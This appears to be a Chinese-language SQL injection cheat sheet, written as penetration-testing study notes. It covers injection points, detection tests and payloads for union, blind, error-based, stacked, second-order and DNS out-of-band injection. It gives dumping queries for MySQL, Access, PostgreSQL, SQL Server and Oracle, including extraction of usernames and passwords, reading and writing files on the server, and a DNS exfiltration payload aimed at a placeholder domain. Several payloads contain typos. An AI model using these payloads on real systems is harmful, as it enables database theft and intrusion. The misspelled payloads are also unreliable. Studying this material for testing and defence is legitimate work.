前言 SQL注入(英语:SQL injection),也称SQL注入或SQL注码,是发生于应用程序与数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了字符检查,那么这些注入进去的恶意指令就会被数据库服务器误认为是正常的SQL指令而执行,因此遭到破坏或是入侵。(维基百科 )
漏洞原理
在请求参数中携带恶意SQL代码,服务器端接收到SQL语句后,将恶意SQL语句执行,从而实现SQL注入攻击
漏洞利用 根据数据类型分类
根据注入手法的分类
UNION query SQL injection 联合查询(针对查操作)
Error-based SQL injection 报错注入(针对查操作)
Boolean-based blind SQL injection 布尔盲注(针对查操作)
Time-based blind SQL injection 延时注入(针对查操作)
Stacked queries SQL injection 堆叠查询(针对增删改操作)
根据注入原理的分类(GPC)
注入点位置
注入点:可以拼接SQL语句的位置
*作为注入点位置标识
参数注入
request 1 GET http://127.0.0.1:80/api/item?id=99*
request 1 2 3 4 POST http://127.0.0.1:80/api/item Content-Type : application/x-www-form-urlencodedid=99*
请求头注入 XFF注入
部分后端程序通过潘定请求头中的X-Forward-For参数来判定失败的登录次数,如果这个次数存储在了数据库中,则可以使用X-Forward-For作为注入点
request 1 2 GET http://127.0.0.1:80/api/item?id=99 X-Forwarded-For : 127.0.0.1*
数据类型测试
操作:根据报错信息,判断1在数据库中存储时的数据类型
结论:当出现形如'''的报错信息时,判断该数字是以数值型 数据存储在数据库中;当出现形如'1''的报错信息时,判断该数字是以字符型 数据存储在数据库中
打断测试
操作:如果成对的括号被中断,同时使用注释打断后面的语句,就可以实现sql语句的控制
原理:php中定义sql语句时,会使用括号进行包裹从而定义sql语句为字符串
'用来打断被引号引起来的内容
'、"、)、]、}、\、/、,、.
-- 用来打断后面的SQL语句
#(需要进行url编码)、--
宽字节测试
如果后端对'进行了\转译,如果直接传递?id=1',实际上后端得到的是?id=1\',所以可以采用宽子节测试
PHP中如果开启了magic_quotes_gpc则会触发\转译
PHP中如果使用了addslashes()函数则会触发\转译
注入手法测试
通过传递不同的参数,判断页面加载,测试出可以使用哪种手法注入
只要可以使用任意一种注入手法,就可以断定存在SQL注入漏洞
注入点存在测试
操作:多次传递不同的数值判断页面是否有变化
原理:如果id=任何一个数,页面能被动态渲染不同的数据,说明参数变量传递成功,注入点存在
测试结论
如果页面有变化,可以使用联合查询注入
如果页面没有变化,继续判断布尔测试结果
布尔测试
操作:通过两次传递能返回布尔值的语句,判断页面是否报错
原理:如果两次传递能返回布尔值的语句,发现页面不同,说明返回布尔值执行成功
1 2 ?id=1 and 1=1 ?id=1 and 1=2
测试结论
如果有报错,可以使用报错注入
如果没有报错
如果两次页面不同,可以使用布尔盲注
如果两次页面相同,继续判断延时测试结果
延时测试
操作:通过传递包含sleep()函数的语句,判断页面是否延时显示(通过开发者工具的网络选项查看)
原理:sleep()函数可以起到延时的效果,如果页面加载成功延时,说明sleep()函数执行成功
<time>:指定延时时间
当代码中出现了编码 如果是GBK编码
base64注入
如果代码中出现了base64编码,需要重新将注入语句进行编码,然后再发送请求
MySQL渗透测试 联合查询注入
原理:MySQL的union 语句,实际上是用来去重取交集的,特点是可以指定一个查询语句与前面的查询语句进行组合,得到结果,但要求是前后两组sql语句得到的列数相同
可以通过union后面指定的查询语句,实现覆盖前面的查询语句,得到自己想要的字段的内容,展示在页面上
必要条件:两张虚拟的表具有相同的列数,虚拟表对应的列的数据类型相同
数值型可以自动转换成字符串类型
不满足必要条件时,可以使用子查询语句
基本语法
<select>:查询语句
1 <select_1> union <select_2>
注入点个数测试
原理:MySQL的order by 语句,实际上是用来排序数据的,如果order by语句后有数字,表示根据第几个字段排序,当没有那个指定数量的字段时,会报错
例如:order by 2,表示根据第2个字段进行数据的排序,如果没有第2个字段,则报错
所以可以通过order by语句,得到字段数量临界值
例如:从order by 1开始测试,当执行到order by 3时,页面报错,说明这个数据表只有2个字段,2就是临界值
1 2 ?id=1 and order by 1 ?id=1 and order by 2
也可以直接使用union语句测试注入点个数
当select 1,2,...不再报错时,表示注入点个数测试完成
将id=1改为其他不存在的id,这样才能展示union后面的select语句的内容
也可以使用布尔值为false的语句(例如1=2)强制让union前面的select报错,从而展示union后面的select语句的内容
1 ?id=1 and 1=2 union select 1,2
注入点位置测试
在找到注入点个数后,可以开始注入点位置测试
通过查询数字1、数字2(根据注入点个数指定数字数量),在页面查看注入点的位置,如果有回显,则可以替换其他SQL语句用于查看查询结果
原理:当union前面的查询语句值为假,则后面的查询语句会被执行
1,2:直接展示在页面上的内容(根据注入点个数指定数字数量)
盲注 基于延时的盲注
盲猜敏感信息,利用IF()语句判断,将SLEEP()语句作为IF()语句的结果,通过判断页面是否延时加载,确定猜测是否正确
猜测数据库名长度
1 ?id=1 and if(length(database())=1,sleep(5),1)
1 ?id=1 and if(length(database())=1,1,sleep(5))
基于布尔的盲注
通过构建布尔值的判断,盲猜敏感信息
如果猜对则页面显示正常,如果猜错则页面显示不正常
猜测数据库名长度 1 ?id=1 and length(database())=1
猜测数据库名每个字符的ascii码 1 2 3 4 5 6 7 # 第一个字符 ?id=1 and ascii(substr(database(), 1, 1))>100 # 第二个字符 ?id=1 and ascii(substr(database(), 2, 1))>100 # ...
基于报错的盲注
在报错的回显中,插入敏感信息
如果php中存在die(mysql_error())相关代码,则说明存在基于报错的盲注
重复键冲突报错
利用MySQL编号为#8652的bug,复现重复键冲突报错
这个漏洞存在一定几率
<select>:查询语句
1 ?id=1 and (select 1 from (select count(*),concat((<select>),floor(rand()*2))x from information_schema.tables group by x)a)
1 ?id=1 union select (concat(left(rand(),3),'^',(<select>),'^')a,count(*),3 from information_schema.tables group by a)
不同的SQL语句构造方式
<select>:查询语句<select_field>:指定想要查询的字段
1 select concat(left (rand(),3 ),'^' ,(< select > ),'^' ) x,count (* ) from information_schema.tables group by x;
1 select concat('^' ,(< select_field> ),'^' ,floor (rand()* 2 ))x,count (* ) from (select 1 union select null union select ! 1 )a group by x;
1 select min (@a :1 ) from information_schema group by concat('^' ,< select_field> ,'^' ,@a := (@a + 1 )% 2 );
1 select min (@a := 1 ) from (select 1 union selecct null union select ! 1 )a group by concat('^' ,< select_field> ,'^' ,@a := (@a + 1 )% 2 );
XPATH报错
0x7e是占位符~的十六进制,用来分隔需要显示的查询结果
0x5e是占位符^的十六进制,用来分隔需要显示的查询结果
<select>:查询语句
1 ?id=1 and updatexml(1, concat(0x7e, (<select>), 0x7e), 1)
1 ?id=1 and extractvalue(1, concat(0x7e, (<select>), 0x7e))
登录框注入 万能密码
cookie注入
其他位置的注入 User-Agent注入
如果代码中调用了User-Agent作为变量,可以在Burp中拦截包含user-agent的请求,发送到Repeater模块,通过修改User-Agent的内容实现注入
Referer注入
如果代码中调用了Referer作为变量,可以在Burp中拦截包含user-agent的请求,发送到Repeater模块,通过修改Referer的内容实现注入
信息收集 获取数据库版本
1 ?id=-1 union select verison()
获取当前用户名
1 ?id=-1 union select user()
获取操作系统
通过操作系统判断是否支持大小写
通过操作系统判断文件路径的斜线
1 ?id=-1 union select @@version_compile_os
脱库 获取数据库名 1 ?id=-1 union select database()
获取数据表名 1 2 ?id=-1 union select (select group_concat(table_name) from information_schema.tables where table_schema='<database_name>')
绕过
table_schema:指定数据库名的16进制数
0x:0x后拼接16进制数,这个十六进制数是由想要查询的数据库的库名通过字符串转16进制数 转换来的
concat():字符串拼接函数hex():字符串转换为十六进制函数database():获取数据库名函数group_concat():将一组字符串拼接为一个字符串,以逗号分隔
1 2 ?id=-1 union select (select group_concat(table_name) from information_schema.tables where table_schema=concat('0x', hex(database())))
获取字段名 1 2 ?id=-1 union select (select group_concat(column_name) from information_schema.columns where table_schema='<database_name>' and table_name='<table_name>')
绕过 1 2 ?id=-1 union select (select group_concat(column_name) from information_schema.columns where table_schema=concat('0x', hex(database())) and table_name=concat('0x', hex(database())))
获取数据 1 2 ?id=-1 union select (select <field_name> from <table_name>)
绕过
<table_name>:数据表名username、password:想要查询的字段名%20:url编码后的空格字符串,用于分隔开展示的多条数据,防止混淆
1 2 ?id=-1 union select (select concat(username,'%20',password) from <table_name>)
0x3a:十六进制编码后的冒号字符串,用于分隔开展示的多条数据,防止混淆
1 2 ?id=-1 union select (select concat(username,'0x3a',password) from <table_name>)
文件读写 检测当前用户是否具有文件读写权限 1 SELECT File_priv FROM mysql.user WHERE user='root' AND host='localhost';
文件读取
<file>:想要读取的文件的路径,Windows上可以使用\\分隔层级,Linux上可以使用/分隔层级
1 ?id=-1 union select load_file('<file>')
文件写入
<string>:通过查询语句获取的字符串<file>:想要写入的文件
1 ?id=-1 union select '<string>' into outfile '<file>'
堆叠注入
多句SQL压缩为一句进行注入
支持堆叠注入的数据库必须具有结束分割符,如:MySQL、MSSQL、PostgreSQL
1 ?id=-1 union (select); show databases()
二次注入
先通过新增接口和修改接口将想要注入的SQL语句写入数据库,再通过查询接口执行SQL语句
DNS带外
在极端情况下,目标站点没有向外访问除了DNS协议以外的协议的权限,此时可以利用MySQL的文件加载函数,向自己的DNS服务器发送请求,从而泄露数据
创建一个监听53端口的服务,且允许子域名传递任意值都能被正确访问(*.example.com)
利用SQL注入访问自己部署得服务
1 ?id=-1 and (select load_file(concat("//", (<select>), ".example.com")))
查看请求者请求的域名,其中子域名携带的内容就是泄露的数据
Access渗透测试
与MySQL渗透测试基本相同,但Access不存在文件读写权限
联合查询注入
Access数据库在使用查询语句时,必须使用from <database_name>关键字,而且数据库名必须存在
<select>:查询语句
1 <select_1> union <select_2> from <database_name>
偏移注入
<table_name>:数据表名
1 ?id=-1 union select 1,2,3,4,5,6,7,8,9,* from (<table_name> as a inner join <table_name> as b on a.id=b.id)
如果爆破失败,可以继续减少6个注入点,以此类推,直至注入点不足
1 ?id=-1 union select 1,2,3,* from ((<table_name> as a inner join <table_name> as b on a.id=b.id) inner join <table_name> as c on a.id=c.id)
PostgreSQL渗透测试 联合查询注入
<select>:查询语句
1 <select_1> union <select_2>
注意:Access数据库在使用查询语句时,必须使用from <database_name>关键字,而且数据库名必须存在
注入点个数测试
1 ?id=-1 union select null,null
注入点位置测试
使用'null'作为注入点时,如果存在注入点回显,会回显为null
1 ?id=-1 union select 'null',null
1 ?id=-1 union select null,'null'
信息收集 获取数据库版本 1 ?id=-1 union select version()
获取当前用户名 1 ?id=-1 union select current_user
脱库 获取数据库名 1 ?id=-1 union select current_database()
获取数据库名 1 ?id=-1 union select string_agg(datname,',') from pg_database
获取数据表名 1 ?id=-1 union select string_agg(tablename,',') from pg_tables where schemaname='<database_name>'
1 ?id=-1 union select string_agg(tablename,',') from pg_stat_user_tables
获取字段名 1 ?id=-1 union select string_agg(tablename,',') from information_schema columns where table_name='<table_name>'
获取数据 1 ?id=-1 union select string_agg(<field_name>,',') from <table_name>
查询DBA用户的用户名
1 ?id=-1 union select string_agg(usename,',') from pg_user where usesuper is true
SQLServer渗透测试 联合查询注入
<select>:查询语句
1 <select_1> union <select_2>
注入点个数测试
1 ?id=-1 union select null,null
注入点位置测试
使用'null'作为注入点时,如果存在注入点回显,会回显为null
1 ?id=-1 union select 'null',null
1 ?id=-1 union select null,'null'
信息收集 获取数据库版本 1 ?id=-1 union select @@version
获取当前用户名 当前数据库用户 1 ?id=-1 union select user
1 ?id=-1 union select current_user
系统用户 1 ?id=-1 union select system_user
获取操作系统 1 ?id=-1 union select @@servername
脱库 获取数据库名 1 ?id=-1 union select db_name()
获取数据表名 获取当前表名 1 ?id=-1 union all select (select top 1 name from <database_name>.<user_name>.sysobjects where xtype='u')
获取其他表名 1 ?id=-1 union all select (select top 1 name from <database_name>.<user_name>.sysobjects where xtype='u' and name not in ('<table_name>'))
获取字段名
<index>:字段索引
1 ?id=-1 union all select (select top 1 col_name(object_id('<table_name>'), <index>) from sysobjects)
获取数据 1 ?id=-1 union all select (select <field_name> from <table_name>)
Oracle渗透测试 联合查询注入
<select>:查询语句
1 <select_1> union <select_2> from dual
注入点个数测试
1 ?id=-1 union select 1,2 from dual
注入点位置测试
1 ?id=-1 union select '1',2 from dual
1 ?id=-1 union select '1','2' from dual
脱库 获取数据表名 准确查询
1 ?id=-1 union select (select table_name from user_tables where rownum=1) from dual
1 ?id=-1 union select (select table_name from user_tables where rownum=1 and table_name not in ('第1个数据表名')) from dual
1 ?id=-1 union select (select table_name from user_tables where rownum=1 and table_name not in ('第2个数据表名')) from dual
模糊查询 1 ?id=-1 union select (select table_name from user_tables where rownum=1 and table_name like '%关键字%') from dual
获取字段名 准确
1 ?id=-1 union select (select column_name from all_tab_columns where rownum=1 and table_name='<table_name>') from dual
1 ?id=-1 union select (select column_name from all_tab_columns where rownum=1 and column_name not in ('第1个字段名') and table_name='<table_name>') from dual
1 ?id=-1 union select (select column_name from all_tab_columns where rownum=1 and column_name not in ('第2个字段名') and table_name='<table_name>') from dual
获取数据 1 ?id=-1 union select (select <field_name> from <table_name>)
代码审计
查找执行SQL语句的代码,如果执行的SQL语句是从用户输入,则需要关注SQL注入攻击
1 $results = mysqli_query ($link , '<sql>' );
完成 参考文献 哔哩哔哩——腾讯掌控安全学院 哔哩哔哩——千锋教育网络安全学院 哔哩哔哩——掌控安全学院 哔哩哔哩——逆风微笑的代码狗 哔哩哔哩——xiaodisec